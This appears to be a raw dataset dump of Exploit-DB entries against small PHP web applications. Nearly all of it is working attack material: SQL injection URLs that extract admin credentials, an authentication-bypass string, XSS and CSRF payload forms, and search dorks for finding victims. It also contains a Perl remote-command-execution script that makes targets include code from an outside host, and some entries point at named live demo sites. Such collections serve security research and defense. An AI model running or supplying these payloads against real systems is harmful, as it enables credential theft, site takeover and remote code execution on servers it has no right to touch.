deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5401
Description: My Gaming Ladder 7.5 - 'ladderid' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-07
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		My Gaming Ladder 7.5 AND Prior SQL Injection Vulnerbilitys	     +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz
SITE: www.mygamingladder.com
DORK (altavista.com/googles): "Ladder Scripts by"


DESCRIPTION: 
pull admin/user info from the database


EXPLOITS:
ADMINS/STAFF: http://site.com/ladder.php?ladderid=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,concat(0x3C666F6E7420636F6C6F723D[PII_REDACTED]3E,id,char(58),pass,0x3C2F666F6E743E),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/staff/*

USERS: http://site.com/ladder.php?ladderid=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,concat(0x3C666F6E7420636F6C6F723D[PII_REDACTED]3E,alias,char(58),pass,0x3C2F666F6E743E),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/staff/*


NOTE/TIP: 
admin login is at "/adminhome.php"
passwords are in plaintext
once you have visited the injection, scroll down and you will see all user/passwords in RED text.

you must login to admincp with the admin ID this is the number next to the password.


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		My Gaming Ladder 7.5 AND Prior SQL Injection Vulnerbilitys	     +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-07]
Exploit-DB #1707
Description: My Gaming Ladder Combo System 7.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2006-04-22
Author: nukedx

Exploit:
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=28
#Usage: ladder.pl <host> <path> <cmd>
#Dork: "Ladder Scripts by http://www.mygamingladder.com" 40.500 pages.
use IO::Socket;
if(@ARGV < 3) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-28\r\n";
  print "- My Gaming Ladder Combo System <= 7.0 Remote Command Execution Exploit\r\n";
}
sub main::urlEncode {
  my ($string) = @_;
  $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
  #$string# =~ tr/.//;
  return $string;
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path> <cmd>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to My Gaming Ladder ex: /ladder/\r\n";
  print "- <cmd>  -> Command to execute ex: ls -la\r\n";
  print "- This exploit needs allow_url_fopen set to 1 and register_globals on\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $echoing  = "";
  $ldserver = $ARGV[0];
  $ldserver =~ s/(http:\/\/)//eg;
  $ldhost   = "http://".$ldserver;
  $lddir    = $ARGV[1];
  $ldport   = "80";
  $ldtar    = "stats.php?dir[func]=&dir[base]=http://www.misssera.com.tr/old/rce.txt%3F&command=";
  $ldcmd    = ""; for ($i=2; $i<=$#ARGV; $i++) {$ldcmd.="%20".urlEncode($ARGV[$i]);};
  $ldreq    = $ldhost.$lddir.$ldtar.$ldcmd;
  #Sending data...
  header();
  print "- Trying to connect: $ldserver\r\n";
  $ld = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$ldserver", PeerPort => "$ldport") || die "- Connection failed...\n";
  print $ld "GET $ldreq HTTP/1.1\n";
  print $ld "Accept: */*\n";
  print $ld "Referer: $ldhost\n";
  print $ld "Accept-Language: tr\n";
  print $ld "User-Agent: NukeZilla\n";
  print $ld "Cache-Control: no-cache\n";
  print $ld "Host: $ldserver\n";
  print $ld "Connection: close\n\n";
  print "- Connected...\r\n";
  $echoing = "No";
  while ($answer = <$ld>) {
    if ($answer =~ /NukedX here/) { $echoing = "Yes"; }
    if ($answer =~ /NukedX was here/) { print "- End of results\n"; exit(); }
    if ($echoing =~ /Yes/) { 
      if ($answer =~ /NukedX here/) { print "- Command executed succesfully here is results\r\n"; }
      else { print "$answer"; }
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# milw0rm.com [2006-04-22]
Exploit-DB #41838
Description: My Gaming Ladder Combo System 7.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-07
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: My Gaming Ladder Combo System 7.5 - SQL Injection
# Google Dork: N/A
# Date: 07.04.2017
# Vendor Homepage: http://www.mygamingladder.com/
# Software: http://www.mygamingladder.com/demos.shtml
# Demo: http://www.mygamingladder.com/upgrade/combo/
# Version: 7.5
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/game.php?gameid=[SQL]
# http://localhost/[PATH]/news.php?newsid=[SQL]
# http://localhost/[PATH]/teams.php?teamid=[SQL]
# http://localhost/[PATH]/match.php?matchid=[SQL]
# staff
# staffaccess
# staffcomments
# teammembers
# teammembersinv
# teams
# # # # #
Exploit-DB #26153
Description: My Image Gallery 1.4.1 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-16
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/14570/info

My Image Gallery is prone to multiple cross-site scripting vulnerabilities due to improper sanitization of user-supplied input.

An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim. The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://www.example.com/[path]/index.php?currDir=./<script>alert(document.cookie)</script>
http://www.example.com/index.php?currDir=./test&pageType=image&image=<script>alert(document.cookie)</script>
Exploit-DB #14326
Description: My Kazaam Address & Contact ORGanizer - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-10
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
  My Kazaam Address & Contact Organizer SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: July, 11-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Address & Contact Organizer
Vendor  	: http://www.mykazaam.com/
Description	:

Numerous search features with overview and expanded view results. Lots 
of neat features built in, has been compared to ACT.
----------------------------------------------------------------

Poc:
~~~~~~~

http://127.0.0.1/[path]/address_book/contacts.php?var1=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]--------------------------------
Exploit-DB #14325
Description: My Kazaam Notes Management System - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-10
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: My Kazaam Notes Management System Multiple Vulnerability
Vendor url:http://www.mykazaam.com
Version:1
Published: 2010-07-11
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Use as an order tracking system with Message confirmed, as a progress chart
or an online diary. Operates with file numbers to separate entries

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

Enter the attack parameter on the "Enter Refernce Number Below" Text box

*SQLi Vulnerability

DEMO URL :

http://server/path/notes.php[sqli]

*XSS Vulnerability

DEMO URL:

http://server/path/notes.php[xss]

*HTML Vulnerability

DEMO URL:

http://server/path/notes.php[html]


# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #41010
Description: My Link Trader 1.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-11
Author: Dawid Morawski

Exploit:
# Vulnerability: My link trader - SQL Injection
# Date: 11.01.2017
# Vendor Homepage:
http://software.friendsinwar.com/scripts_example/my_link_trader/
# Tested on: Kali Linux 2016.2
# Author: Dawid Morawski
# Website: http://www.morawskiweb.pl
# Contact: dawid.morawski1990@gmail.com
#########################

#########################
# SQL Injection/POC :
# Vulnerable Parametre : id
# http://localhost/[PATH]/out.php?id=[SQL]
Exploit-DB #40998
Description: My Link Trader 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-07
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability:: Admin Login Bypass & SQLi
# Date:09.01.2017
# Vendor Homepage: http://software.friendsinwar.com/
# Script Name: My Link Trader
# Script Version: v1.1
# Script DL: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=13
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/login.php and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #11616
Description: My Little Forum - 'contact.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-02
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : my little forum contact.php SQL Injection
+Autor : Easy Laster
+Date   : 02.03.2010
+Script  : my little forum contact.php
+Download : http://mylittleforum.net/
+Demo : http://teklador.de/forum/
+Price : 00,00$
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://site.com/forum/contact.php?id=
+Exploitable   : http://site.com/forum/contact.php?id=-11111111'+union+select+1,2
,concat(user_name,0x3a,user_pw),4,5+from+forum_userdata+where+user_id=1--+
-----------------------------------------------------------------------------------------
Exploit-DB #23473
Description: My Little Forum 1.3 - 'email.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-23
Author: David S. Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9286/info

my little forum is prone to a cross-site scripting vulnerability in the 'email.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via the URI parameters. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. 

http://www.example.com/forum/email.php?forum_contact="><script>alert(document.domain);</script>
Exploit-DB #40676
Description: My Little Forum 2.3.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-11-01
Author: Ashiyane Digital Security Team

Exploit:
Title:
======
My Little Forum  2.3.7 - Multiple Vulnerability


Product & Service Introduction:
===============================
My little forum is a simple PHP and MySQL based internet forum that 
displays the messages in classical threaded view (tree structure). It is 
Open Source licensed under the GNU General Public License. The main 
claim of this web forum is simplicity. Furthermore it should be easy to 
install and run on a standard server configuration with PHP and MySQL.


Software Link:
==============
https://github.com/ilosuna/mylittleforum/archive/master.zip


Vulnerability Type:
=========================
Cross-Site Request Forgery
Stored Cross-Site Scripting
CSRF Allow To Backup Disclosure


Vulnerability Details:
==============================
This WebApplication is vulnerable and suffer from some vulnerablity.


Severity Level:
===============
High


Proof of Concept (PoC):
=======================
1. CSRF (Add Page)
With this exploit can add page in webapp.
<form 
action="http://localhost/mylittleforum-master/index.php?mode=admin&action=edit_page" 
method="post" accept-charset="utf-8">
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="title" value="Title">
<input type="hidden" name="content" value="Content">
<input type="hidden" name="menu_linkname" value="Name">
<input type="submit" name="edit_page_submit" value="OK - Save page">
</form>


2. Stored XSS:
<form 
action="http://localhost/mylittleforum-master/index.php?mode=admin&action=edit_page" 
method="post" accept-charset="utf-8">
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="title" value="Stored XSS 
<script>alert(1)</script>">
<input type="hidden" name="content" value="Stored XSS 
<script>alert(2)</script>">
<input type="hidden" name="menu_linkname" value="Stored XSS 
<script>alert(3)</script>">
<input type="submit" name="edit_page_submit" value="OK - Save page">
</form>

3. Backup Disclosure:
with this exploit we can delect htaccess in backup folder for access to 
backups.
<form action="http://localhost/mylittleforum-master/index.php" 
method="post" accept-charset="utf-8">
<div>
<input type="hidden" name="mode" value="admin">
<input type="hidden" name="delete_backup_files[]" value=".htaccess">
<input type="submit" name="delete_backup_files_confirm" value="OK - 
Delete">
</div>
</form>
Next use exploit go to:
http://localhost/mylittleforum-master/backup/



Author:
==================
Ashiyane Digital Security Team
Exploit-DB #27139
Description: My Little Homepage Products - BBCode Link Tag Script Injection
Type: webapps
Platform: php
Date: 2006-01-26
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16395/info

My Little Homepage Web log, guestbook, and forum are prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible. 

BBCode example have been provided:

[link=javascript:alert(123)]Link[/link]
[link]javascript:alert(123)[/link]
Exploit-DB #29162
Description: My Little Weblog 2006.11.21 - 'Weblog.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-21
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21238/info

My Little Weblog is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input to the 'action' parameter of the 'weblog.php' script.

www.example.com/weblog.php?action="><script>alert('XSS')</script><
Exploit-DB #8864
Description: My Mini Bill - 'orderid' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-03
Author: ThE g0bL!N

Exploit:
My MiniBill (my_orders.php) Remote SQL Injection
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://cupidsystems.com
------
More info:http://cupidsystems.com/products/myminibill/index.php
--------
Note: First You must register in the site  [path]/register.php
Then Go To exploit:
------------------
http://victim/[path]/my_orders.php?action=status&orderid=-68+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8,9--
Login Information:
-----------------
For:
username: http://site/my_orders.php?action=status&orderid=-68+union+select+1,2,3,username,5,6,7,8,9+from+dbminibill.tblorders+limit+0,1
Password: http://site/my_orders.php?action=status&orderid=-68+union+select+1,2,3,adminpassword,5,6,7,8,9+from+tblgeneral
Demo:
http://cupidsystems.com/products/myminibill/demo/
Note: ALgerie en Coupe Du Monde In shaa ALLAH*
################################################################################################

# milw0rm.com [2009-06-03]
Exploit-DB #41177
Description: My Photo Gallery 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-27
Author: Kaan KAMIS

Exploit:
Introduction

Exploit Title: My Photo Gallery – SQL Injection
Date: 27.01.2017
Vendor Homepage: http://software.friendsinwar.com/
Software Link: http://software.friendsinwar.com/news.php?readmore=40
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits
 
Overview
 
My Photo Gallery is a free is a user-friendly picture gallery script.
Users can register and upload their images to the site. A moderator can see the images and validate, edit or delete them.
The script comes with a very user friendly admin system where you can change and add many things such as: Categories, Images, Edit members, site looks and many more.

Type of vulnerability:

An SQL Injection vulnerability in My Photo Gallery allows attackers to read
arbitrary administrator data from the database.

Vulnerable Url:

http://locahost/my_photo_gallery/image.php?imgid=[payload]
Vulnerable parameter : imgid
Mehod : GET

Payload:
imgid=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7170767a71,0x[PII_REDACTED]744842666d70594d[PII_REDACTED]6a516f6c496f4d4b6b646f774d624a614f52676e6372,0x716b766b71)--
Exploit-DB #6754
Description: My PHP Dating - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-14
Author: Hakxer

Exploit:
###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

# Author : Hakxer
# Home : Www.educ-up.com
# Type Gap : Sq1 inj3ct1on
# script : PHP MY DATING [see script] http://www.phponlinedatingsoftware.com/demo.htm
# Greetz : Allah , Egyptian x Hacker , Soufiane , Sinaritx , SQL_inj4ct0r , Stealth , Kof2002 ,Bright D@rk , Thrid Devil
# Team : EgY Coders 
#################################################################################################
####### [+] Bug in : success_story.php
## Dork : " Developed by Infoware Solutions "
### POC
      http://www.site.com/success_story.php?id=-2+union+select+1,2,concat(@@version,0x3e,database())--
	  
### Exploit iN L!ve Script 
#   [+] Get Version & Database Name [~]
#          http://www.phponlinedatingsoftware.com/demo/success_story.php?id=-2+union+select+1,2,concat(@@version,0x3e,database())--
#   [+] Get ID&Pass [~] 
#          http://www.phponlinedatingsoftware.com/demo/success_story.php?id=-2+union+select+1,2,concat(m_pass,0x3e,admin_id)+from+infowar1_cms.baq_admin--

# [+] HaVe Fun .. ^_^ ;


###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-14]
Exploit-DB #41001
Description: My PHP Dating 2.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-09
Author: Sniper Pex

Exploit:
# Vulnerability: My Php Dating 2.0 - SQL Injection 

# Google Dork: use your mind

# Date: 09.01.2017

# Vendor Homepage: http://www.phponlinedatingsoftware.com/demo.htm

# Tested on: win7

# Author: Nassim Asrir

# Author Company: Henceforth

# Contact: wassline@gmail.com 
#########################


# SQL Injection/Exploit :

# Vulnerable Parametre : id

# http://localhost/[PATH]/view_profile.php?id=[SQL]
Exploit-DB #40999
Description: My PHP Dating 2.0 - 'path' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: My Php Dating 2.0 - SQL Injection Web Vulnerability
# Google Dork: My Php Dating
# Date:09.01.2017
# Vendor Homepage: http://www.phponlinedatingsoftware.com/demo.htm
# Script Name: My Php Dating
# Script Version: 2.0
# Script Buy Now: http://www.phponlinedatingsoftware.com/order.htm
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# SQL Injection/Exploit :
# http://localhost/[PATH]/view_image.php?path=[SQL]
# # # # # 


--------------------------------------------------
Note:

Rate: 0/10 [Rate Picture] <<<Link
--------------------------------------------------
http://localhost/[PATH]/view_image.php?path=-124 union select 1,version(),3,4,5,6,7,8,9
Version: javascript:%20ajax_rate_pic(5.5.52-cll,1,1)
--------------------------------------------------
http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(admin_id,admin_uname,admin_pass,admin_email),3,4,5,6,7,8,9+from+admin_master--

--------------------------------------------------
http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(column_name),3,4,5,6,7,8,9+from+information_schema.columns+where+table_schema=database()--

--------------------------------------------------
http://localhost/[PATH]/view_image.php?path=-124+union+select+1,group_concat(table_name),3,4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--